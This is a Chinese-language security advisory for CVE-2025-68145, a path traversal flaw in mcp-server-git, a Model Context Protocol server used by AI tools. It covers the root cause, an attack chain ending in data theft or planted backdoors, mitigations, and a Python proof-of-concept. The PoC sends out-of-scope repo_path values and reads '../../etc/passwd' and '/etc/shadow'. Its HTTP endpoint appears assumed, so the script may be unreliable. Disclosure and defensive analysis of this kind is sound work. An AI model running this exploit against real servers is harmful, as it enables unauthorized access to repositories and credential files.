IPBUF安全漏洞报告
English
CVE-2025-68145 CVSS 9.1 严重

CVE-2025-68145 | mcp-server-git 路径遍历访问控制绕过漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68145
漏洞类型
路径遍历/访问控制绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
mcp-server-git

相关标签

CVE-2025-68145路径遍历访问控制绕过mcp-server-gitModel Context ProtocolGit安全配置错误路径验证缺失严重漏洞

漏洞概述

CVE-2025-68145是mcp-server-git中的一个严重安全漏洞,CVSS评分高达9.1分(满分10分)。该漏洞存在于2025年12月17日之前的所有版本中。当服务器使用--repository标志启动以限制操作到特定仓库路径时,系统未能验证后续工具调用中的repo_path参数是否实际位于配置的路径范围内。这一缺陷可能导致攻击者突破路径限制,对服务器进程可访问的其他仓库执行git操作,从而造成敏感数据泄露或未授权的代码修改。由于该漏洞无需认证即可利用,且攻击复杂度低,因此被评定为严重级别,建议用户立即升级到2025.12.17版本以修复此问题。

技术细节

漏洞根源在于mcp-server-git在处理--repository参数时缺乏严格的路径验证机制。具体来说,当管理员使用--repository标志将服务器操作限制在特定仓库路径(如/path/to/allowed-repo)时,服务器在接收用户传入的repo_path参数后,并未检查该路径是否在允许范围内。攻击者可以通过符号链接或相对路径遍历等方式,引用允许路径之外的任意仓库目录。漏洞代码缺少的关键安全检查包括:1)未对用户提供的repo_path进行规范化处理(如解析..、符号链接等);2)未验证请求路径是否位于配置的仓库路径内部;3)未对git操作的目标路径进行边界检查。修复方案需要在执行任何git操作前,解析并规范化配置的仓库路径和请求的repo_path(跟随符号链接),然后确认请求路径确实是配置路径的子目录或本身。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行着mcp-server-git,且配置了--repository参数限制仓库访问范围
STEP 2
步骤2: 构造恶意请求
攻击者构造包含路径遍历payload的repo_path参数,指向允许路径之外的敏感仓库
STEP 3
步骤3: 利用路径验证缺陷
由于服务器未验证请求路径是否在配置路径范围内,攻击者可通过符号链接或相对路径引用任意仓库
STEP 4
步骤4: 执行未授权操作
成功绕过访问控制后,攻击者可对目标仓库执行读取敏感文件、查看提交历史、修改代码等操作
STEP 5
步骤5: 窃取敏感信息或植入后门
攻击者获取敏感代码、凭据或其他机密信息,或在仓库中植入恶意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68145 PoC - Path Traversal in mcp-server-git # Target: mcp-server-git < 2025.12.17 # Vulnerability: Path traversal via repo_path parameter when --repository flag is set import json import requests import sys def exploit_cve_2025_68145(target_url, allowed_repo_path, target_repo_path): """ Exploit path traversal vulnerability in mcp-server-git Args: target_url: Base URL of the vulnerable mcp-server-git instance allowed_repo_path: Path configured with --repository flag target_repo_path: Path to a repository outside allowed_repo_path """ # Construct malicious request payload = { "tool": "git_read_file", "params": { "repo_path": target_repo_path, # Path outside allowed scope "file_path": "../../etc/passwd" # Path traversal attempt } } # Send exploit request try: response = requests.post( f"{target_url}/tools/execute", json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"[*] Request sent to {target_url}") print(f"[*] Target repo path: {target_repo_path}") print(f"[*] Allowed repo path: {allowed_repo_path}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: data = response.json() if "result" in data: print("[+] Exploit successful! Read arbitrary file:") print(data["result"]) return True print("[-] Exploit may have failed or target is patched") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-68145""" # Attempt to access restricted repository malicious_payload = { "tool": "git_log", "params": { "repo_path": "/etc/shadow" # Non-git directory to test path validation } } try: response = requests.post( f"{target_url}/tools/execute", json=malicious_payload, timeout=10 ) # If no error about path validation, target may be vulnerable if response.status_code == 200: return True return False except: return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-68145.py <target_url> <allowed_repo> <target_repo>") print("Example: python cve-2025-68145.py http://localhost:8080 /data/allowed-repo /data/sensitive-repo") sys.exit(1) target_url = sys.argv[1] allowed_repo = sys.argv[2] target_repo = sys.argv[3] print("="*60) print("CVE-2025-68145 - mcp-server-git Path Traversal Exploit") print("="*60) exploit_cve_2025_68145(target_url, allowed_repo, target_repo)

影响范围

mcp-server-git < 2025.12.17

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)避免使用--repository标志暴露服务器;2)确保服务器进程权限最小化,限制对敏感仓库的访问;3)使用网络隔离和防火墙规则限制对mcp-server-git服务的访问;4)启用详细的访问日志并监控异常请求模式;5)考虑使用额外的访问控制层(如API网关)进行路径验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表